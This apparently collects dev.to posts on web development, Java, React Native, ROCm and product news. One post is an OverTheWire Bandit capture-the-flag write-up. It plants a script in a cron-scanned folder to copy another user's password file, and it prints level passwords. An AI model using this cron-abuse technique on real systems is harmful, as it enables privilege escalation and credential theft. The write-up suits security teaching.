teleren/devto huggingface dataset:
SEMANTIC TAGS in HTML
Tags: semantictag, html, webdev
Published: 2024-02-15 21:14:27


First of all meaning of Semantic is, something that is related to meaning or logic, i want here to say that if something makes sense or pointing to something meaningful or logical. 

for example in real life sometimes when you talking to someone and you suddenly say "iss shir" so here this makes no sense no meaning in any language and this is not logical what you just say. 

But the ponit is, the person with whom you are talking about would understand what you say because he knows that you always talk in that accent, but it makes no sense in any language and this is not logical also so here this line "iss shir" is non sementic and so if you want to make it semantic you have to say "yes sir".

Now,

Same as in HTML with HTML tags,
Any tag which is meaningful and pointing to any specific 
for example, header tag here represent that it is used for the purpose of header component of a webpage.

So this header tag makes sense its purpose and depict meaning-ful-ness that it is a type of tag which should used as header in websites webpages.

So here header is a semantic tag.

And there are almost hundreds of semantic tags in HTML 
some examples other than header are article, nav, footer, 
 form .

And by keeping this point in mind most search engines use this for SEO.

Now I KNOW YOU ARE INTELLIGENT so curious also that how they use this as SEO(Search Engine Optimization).
Find it from your Own its your lets say homework.

Bye Hope you enjoy and learn something new from this post.
Local Storage (Browser Object Module) in JS
Tags: javascript, html, beginners, webdev
Published: 2024-02-15 21:01:14

Local Storage is a feature that enables JavaScript sites and apps to store key-value pairs in a web browser with no expiration date. This means that the data stored in the browser will persist even after the browser window is closed.


**Five methods used for local storage:**

setItem() = This method is used to add keys and values to the local storage.
getItem() = This method is used to get items from the local storage.
removeItem() = This method is used to remove an item from the local storage buy key.
clear() = This method is used to clear the local storage.
key() = This method is used to retrieve a key of local storage by passing a number.


Below this is a small project to understand Local storage.

## HTML: 

```html
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
</head>
<body>
    <input id="product-name" type="text" placeholder="product">
    <input id="product-quantity" type="text" placeholder="quantity">
    <button onclick="addProduct()">Add product</button>
    <ul id="product-container">

    </ul>
    <script src="product.js"></script>
</body>
</html>

```


## JavaScript: 

```javascript
const addProduct = () => {
    const productField = document.getElementById('product-name');
    const quantityField = document.getElementById('product-quantity');
    const product = productField.value;
    const quantity = quantityField.value;

    productField.value = '';
    quantityField.value = '';

    console.log(product, quantity);
    displayProduct(product, quantity);
    saveProductToLocalStorage(product, quantity);
}

const displayProduct = (product, quantity) => {
    const ul = document.getElementById('product-container');
    const li = document.createElement('li');
    li.innerText = `${product}: ${quantity}`;
    ul.appendChild(li);
}


const getStoredShoppingCart = () => {
    let cart = {};
    const storedCart = localStorage.getItem('cart');
    if (storedCart){
        cart = JSON.parse(storedCart);
    }
    return cart;
}

const saveProductToLocalStorage = (product, quantity) => {
    const cart = getStoredShoppingCart();
    cart[product] = quantity;
    const cartStringified = JSON.stringify(cart);
    localStorage.setItem('cart', cartStringified);          // save into the local storage. 
}

// Display the html 
const displayProductsFromLocalStorage = () => {
    const savedCart = getStoredShoppingCart();
    console.log(savedCart);
    for (const product in savedCart){
        const quantity = savedCart[product];
        console.log(product);
        displayProduct(product, quantity);
    }
}

displayProductsFromLocalStorage();
```

Thanks for reading 🩵⭐
About thread join and run method in Java
Tags: java
Published: 2024-02-15 20:47:10

When you invoke `run()`, if the thread was initially created using a distinct Runnable run object, then the run method of that Runnable object is executed. Otherwise, if the thread was constructed without a separate Runnable object, the method does nothing and returns.

Surprisingly, even if the thread has already completed or terminated, as indicated by the first `thread.join()`, calling `thread.run()` will still execute and print output. Cuz this line of code calls the run() method directly, not starting a new thread.

Additionally, calling multiple `join() ` statements will not result in any exceptions being thrown.

```java
class JoinExample {
	
	public static void main(String[] args) throws InterruptedException {
        Thread thread = new Thread(() -> System.out.println("Thread is running with runnable..."));

		thread.start();
		thread.join(); // Waits for the thread to complete
		thread.run();  // Calls the run() method directly, not starting a new thread
		thread.join(); // Waits again, no exception here
		
		// Second start will cause an IllegalThreadStateException
		// thread.start();
	}
}

//Output:
//Thread is running with runnable...
//Thread is running with runnable...
```

```java
class JoinExample {
	
	public static void main(String[] args) throws InterruptedException {
        Thread thread = new Thread();

		thread.start();
		thread.join(); // Waits for the thread to complete
		thread.run();  // Calls the run() method directly, not starting a new thread
		thread.join(); // Waits again, no exception here
		
		// Second start will cause an IllegalThreadStateException
		// thread.start();
	}
}

//Output:
// nothing
```
Bandit Level 23 Level 24
Tags: ctf, bandit, overthewire, writeup
Published: 2024-02-15 20:22:51

## Introduction

Welcome back, in this level we will learn some basics of privilege escalation by abusing cron jobs.

### Previous flag

```
QYw0Y2aiA672PsMmh9puTQuhoz8SyR2G
```

### Checking Cron files

Let´s start checking cron jobs for the user `bandit24`. 

```bash
cat /etc/cron.d/cronjob_bandit24
```

The entries within this file reveal the location of a script in the /usr/bin folder.

### Reading Cron Script

Let’s open the .sh script file and check its contents:

```bash
cat /usr/bin/cronjob_bandit24.sh
```

The contents of this file show us that the cron job iterates over the files in the `/var/spool/bandit24/foo` folder and executes files owned by us, `bandit23`

```jsx
#!/bin/bash

myname=$(whoami)

cd /var/spool/$myname/foo
echo "Executing and deleting all scripts in /var/spool/$myname/foo:"
for i in * .*;
do
    if [ "$i" != "." -a "$i" != ".." ];
    then
        echo "Handling $i"
        owner="$(stat --format "%U" ./$i)"
        if [ "${owner}" = "bandit23" ]; then
            timeout -s 9 60 ./$i
        fi
        rm -f ./$i
    fi
done
```

Let’s write a bash command that copies the password from `bandit24` to a temporary location

```bash

cat /etc/bandit_pass/bandit24 > /tmp/bandit23/password.txt
```

### Abusing the Cron Job

Create a directory and script to intercept the password:

```bash
mkdir /tmp/bandit23
nano /var/spool/bandit24/foo/script.sh
```

Within the newly created script, inscribe the command we defined before:

```bash
#!/bin/bash
cat /etc/bandit_pass/bandit24 > /tmp/bandit23/password.txt
```

Grant execution permissions to the script:

```bash
chmod +x /var/spool/bandit24/foo/script.sh
```

Now, the exploit is set. After the cron job is executed, we can read the password for the next level:

```bash
cat /tmp/bandit23/password.txt
```

Flag:

```
VAfGXJ1PBSsPSnvsjI8p759leLZ9GGar
```
How to Add Blurred Text in React Native
Tags: reactnative, blur, expo, text
Published: 2024-02-15 20:19:21

---
title: How to Add Blurred Text in React Native
published: true
description: If you're looking for a stylish way to hide certain information in your React Native app, adding blurred text can be a visually appealing solution. In this tutorial, I'll show you how to integrate blurred text into your components using React Native easily.
tags: reactnative, blur, expo, text
# cover_image: https://direct_url_to_image.jpg
# Use a ratio of 100:42 for best results.
# published_at: 2024-02-15 20:06 +0000
---

If you're looking for a stylish way to hide certain information in your React Native app, adding blurred text can be a visually appealing solution. In this tutorial, I'll show you how to integrate blurred text into your components using React Native easily.


### Step 1: Installation

Depending on your development environment, you may need to install the expo-blur package if you're using Expo or react-native-blur for standard React Native projects. You can do this by running the following command:

```bash
yarn add expo-blur
```

or

```bash
yarn add react-native-blur
cd ios && pod-install

```

### Step 2: Creating the Component

Let's start by creating a component called Blurred. This component will accept two optional parameters: intensity and tint. You can use the following code:

```typescript
import { ReactNode } from 'react'
import { BlurView } from 'expo-blur' // or 'react-native-blur' for React Native projects
import { View } from 'native-base'

type BlurredProps = {
  intensity?: number
  tint?: 'light' | 'dark'
  children: ReactNode
}

export const Blurred = ({ intensity = 8, tint = 'light', children }: BlurredProps) => {
  return (
    <View>
      {children}
      <BlurView
        intensity={intensity}
        tint={tint}
        style={{
          position: 'absolute',
          width: '100%',
          height: '100%',
        }}
      />
    </View>
  )
}

```

### Step 3: Adding it to Your Logic

Now, you can use the Blurred component in your logic as follows:


```ts
 const Promotion = () => {
  if (!userCanSeePromo) {
    return (
      <Blurred>
        <Typography variant='body1' color='gray.500'>
          {item.promo}
        </Typography>
      </Blurred>
    )
  }

  return (
    <Typography variant='body1' color='gray.500'>
      {item.full_price}
    </Typography>
  )
}

```

Feel free to adjust the intensity and tint as needed. This will give you a visually appealing effect like the one shown in the image provided.


You will have something like this:


![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/v3vjkxf4qomdztzx750q.jpeg)

I used it three times in this card to hide some pieces of information.


You can use it with react-native or even with native-base ui. In my project, I'm using native-base and it works perfectly.


### Conclusion

Adding blurred text to your React Native app can enhance its visual appeal and provide a modern touch to your UI. You can just experiment with different intensities and tints to achieve the desired effect in your application.
Create Websites, Resumes, and Presentations – All in One Place - Builto
Tags: webuilder, sass, startup, design
Published: 2024-02-15 20:08:52

Build stunning websites, resumes, and presentations effortlessly with [Builto](https://builto.com) . Enjoy real-time template swapping, diverse components, and stylish designs. Benefit from the best CMS, SEO, and custom domains for a superior user experience, ensuring your site's success.

## Building Websites Made Simple with Builto:
Create your own online identity easily with our easy-to-use platform. No need for technical skills – just follow simple steps to make a website for your business, blog, or online store. Whether you want to sell things, show your work, share thoughts in a blog, or set up a business site, it's simple. Pick from great website designs and make your online space special. You'll ask yourself why you didn't start earlier!

![Build your website easily with Builto](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/m5gz3rt0pjel4twc1jvn.png)


## Create Your Resume Easily with Builto
Take your professional journey to the next level with [CV builder](https://builto.com). Effortlessly create a standout resume with our easy-to-use online tool. Explore a variety of free and premium templates, ensuring your CV reflects your unique skills and experiences. The best part? It's all at your fingertips, without the hassle.

![Build your CV easily with Builto](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/zf979xkuk3wyrkis1ths.png)

## Dynamic Presentations in Minutes with Builto:
Soon, with Builto, you can create dynamic presentations in just minutes. Our easy platform is perfect for students, professionals, and entrepreneurs. Choose from many templates to impress your audience and express your ideas effectively. Just a few clicks, and your ideas turn into memorable presentations. Get ready for a new way of presenting!

## Unlock the Full Potential with Builto:
While our platform offers a range of free features, we also provide a 3-day trial for website building. For resumes and presentations, premium templates are available through, ensuring you have access to the best tools for a standout online presence.

## Start Building Today with Builto:
Start your adventure into making websites, resumes, and presentations with our easy tools. The best site builder is here, making it super easy to create your online identity. Jump in and begin shaping a presence that shows off your uniqueness.

Check it out here: https://builto.com
Machine learning on ryzen 7840hs
Tags: ryzen, machinelearning
Published: 2024-02-15 19:50:19

I bought an amd laptop with 7840hs and 32GB ram with the hope that I can play with machine learning models. At the beginning it was problematic, I could not get anything bigger to work but after some time spent reading and experimenting here are some of my findings.

I'm using linux and I have the rocm packages installed.
I have these env variables exported:

```
export HSA_OVERRIDE_GFX_VERSION=11.0.0
export PYTORCH_ROCM_ARCH="gfx1100"
```

The integrated graphics on this processor has a unified memory architecture. It means that the memory is shared between cpu and gpu.

The gpu memory can be set in bios under the UMA size option.
But this is the minimal memory amount. When a game needs more memory it can request more memory. Can a model take advantage of that? It turns out that it can, at least it's implemented in llama.cpp, but it's not enabled by default. I managed to load mixtral quantized to 4bits fully loaded into memory and run interference on that. You can search the [readme for hipblas](https://github.com/ggerganov/llama.cpp#hipblas).

> it is also possible to use unified memory architecture (UMA) to share main memory between the CPU and integrated GPU by setting -DLLAMA_HIP_UMA=ON". However, this hurts performance for non-integrated GPUs (but enables working with integrated GPUs).

But what with other frameworks?
Most of the frameworks support rocm somehow. For example pytorch has dedicated [builds that you install with this command](https://rocm.docs.amd.com/projects/install-on-linux/en/latest/how-to/3rd-party/pytorch-install.html):

```
pip3 uninstall torch torchvision torchaudio
pip3 install --pre torch torchvision torchaudio --index-url https://download.pytorch.org/whl/nightly/rocm5.6/
```
The problem here is that pytorch does not support the shared memory yet and we are limited by the maximum memory that you can set in bios. My bios only allows to set 4GB of total 32GB my machine has.

I found a workaround to this by using [Smokeless_UMAF](https://github.com/DavidS95/Smokeless_UMAF) that allows to access settings that may not be exposed in normal bios.
Thanks to it I could set 16GB of ram to iGPU.


Now when I load comfyUI I'm greeted with this text:

```
Total VRAM 16384 MB, total RAM 15677 MB                                         
Set vram state to: NORMAL_VRAM                                                  
Device: cuda:0 AMD Radeon Graphics : native  
```

This may be risky. There is a known problems section in the readme. My bios loads but the page where I can set the size of shared memory hangs so there is also a problem with my laptop.
On the other hand I don't change it very often so I can live with that.
Amazing Updates in VS Code 1.86 (January 2024)
Tags: vscode, githubcopilot, docker, markdown
Published: 2024-02-15 19:31:28

[Version 1.86 of VS Code has some very nice updates](https://code.visualstudio.com/updates/v1_86):
* [Say "Hey Code" and initiate a Copilot Chat!](https://code.visualstudio.com/updates/v1_86#_use-hey-code-voice-command)
  * The voice recognition is local and doesn't send anything to any server
  * The chat can start within the chat view, the quick chat control, and the inline chat in the editor
* [View multiple files in the diff editor](https://code.visualstudio.com/updates/v1_86#_review-multiple-files-in-diff-editor): see all changes in one scrolling view
* [Zoom the terminal with the mouse wheel](https://code.visualstudio.com/updates/v1_86#_zoom-terminal-via-mouse-wheel): handy when you're screen-sharing and need to zoom in
* [Paste a link and it turns into a Markdown link](https://code.visualstudio.com/updates/v1_86#_paste-a-url-to-automatically-create-a-markdown-link): select text, paste the link, annnnnnnnd, you're done! It's Markdown link with the correct formatting. This saves a bit of time if you're writing a blog post in Markdown for example!
* [Remote Development updates](https://github.com/microsoft/vscode-docs/blob/main/remote-release-notes/v1_86.md)
  * Create a `devcontainer.json` in your user data: The advantage of this is that you won't overwrite any devcontainer in the workspace and won't have an outgoing change.
  * Specify build options for Docker images in `devcontainer.json`
HOW TO VALIDATE A TECH BUSINESS IDEA
Published: 2024-02-15 19:24:13

HOW TO VALIDATE A TECH BUSINESS IDEA

Identify Your Target Audience: Clearly define who your potential customers are and understand their needs, pain points, and preferences. 

Conduct market research to gather insights into your target audience's demographics, behavior, and purchasing habits.

Define Your Value Proposition: Clearly articulate the unique value that your product or service offers to customers.

 What problem does it solve? How does it improve their lives or businesses? 

Ensure that your value proposition resonates with your target audience and addresses a real need or pain point.

Prototype and Test: Develop a prototype or minimum viable product (MVP) to demonstrate your idea and gather feedback from potential customers. 

Test your prototype with a small group of users to validate key assumptions, gather insights, and identify areas for improvement.


Iterate and Refine: Based on the feedback and insights gathered during the validation process, iterate on your business idea, prototype, or MVP.

 Continuously refine your product concept, features, and business model to address customer needs and improve market fit.
Sealed and Final in Java (17+)
Tags: java, oop, programming, learning
Published: 2024-02-15 19:13:55

Java 17 brought the **Sealed Classes** feature, which allows greater control over how to structure a project's class hierarchy. In this post, we'll discuss this feature that permits classes and interfaces to have more control over their allowed subtypes.

The keywords `sealed`, `non-sealed` and `permits` are the ones to be used in the syntax of sealed classes in Java. When we mark a class as `sealed`, it is as if we were marking it as `final`, which does not allow other classes to extend it. So, we add classes that can extend a sealed class with the help of `permits` keyword and then we list the permitted classes.

In the example below, class `A` is marked as `sealed` and allows classes `B` and `C` to extend it.

```java
public sealed class A permits B, C {
     // Some code
}
```

Since classes `B` and `C` extend a `sealed` class, it is mandatory that they be marked as `final`, `sealed` or `non-sealed`.

If class `B` or `C` is marked as `sealed`, it can still allow other classes to extend it via `permits`. When we use `non-sealed`, we "break" this restriction and allow any class to create an extension, as in the case of class C below.

```java
public non-sealed class C extends A {
     // Some code
}
```

In the case of `final`, this class cannot be extended by any other class. In the example below, `B` is marked as `final`, and no class can extend it.

```java
public final class B extends A {
     // Some code
}
```

It is crucial to mark a class as "final" if we are not designing that class with some future extension in mind. The interaction of inherited classes with their parents can be unpredictable if the ancestor was not designed to be inherited.

In general, we should think of class design in two types:

- Classes that are designed to be extended and with sufficient documentation to describe how this should be done;
- Classes marked as `final`, not allowing extensions at all.

Apart from the differences presented above, the `final` keyword in Java is used in other contexts where `sealed` cannot be used, such as **methods**, **attributes**, and **variables**.

Furthermore, `sealed` aims to allow the author of a class or interface to control which code is responsible for implementing it and provide a more declarative way than access modifiers (such as `public` or `protected`...) to restrict the use of a superclass.

This is mainly useful for building libraries in a more secure way without worrying about overwriting definitions by clients.

If you found this content relevant, follow me on [Twitter/X](https://x.com/diogodmoreira) and on [Github](https://github.com/diogomoreira)
Desktop or Web App?
Tags: discuss
Published: 2024-02-15 19:09:50

In regards to investment and data-driven software, I'd like to know if desktop applications is the industry standard for creating, i.e. developing such applications, or is the industry moving completely to web-applications?  

In essence, I don't to waste my time developing a desktop application when in the future I will have regretted not building a web-based application.
Introducing Usage Tips, Copy Code Snippets and Help Bar — Griv
Tags: chatgpt, ai, macos, productivity
Published: 2024-02-15 18:58:34

We are thrilled to announce that [Griv](https://grivhq.com) 2.5.0 is out 🥳. Here is what’s new in this release.

## 1. Usage Tips 🤌

So far, our users depended on emails and website updates to know what’s new in the latest version. From here on, whenever we release a new version, you’ll get the list of changes and usage tips right within the app.

![Usage Tips](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/zbi81xm8nbgmeg3fe4lc.png)

## 2. Copy Code Snippets 👨‍💻

We know it’s a pain to manually copy the code snippets. We’ve introduced a copy button right inside the code snippets to make it convenient for you. Little things matter and we know you’d appreciate that. 😊

![Copy Code Snippets](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/qtdootli2ayge83kpds3.png)

## 3. Help And Testimonial Bar ❤️

Need to contact us 📝 or want to leave us a review/testimonial? To make it easy, we’ve introduced an option in the app to do that.

![Help Bar](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/9lcilhkgco274c0sjc8r.png)

## 4. Bug Fixes 🪲

- Improved chat message formatting.
- The search results were a bit off the mark, so we improved them.
- Layout issues on the settings screen in some resolutions.
- Some more minor tweaks ⚙️.

Ready to use ChatGPT on your Mac? Download [Griv](https://grivhq.com) and unleash your productivity. 

[https://grivhq.com](https://grivhq.com)

In case you have any questions or feedback for us, do contact us at support@starlabs.ai.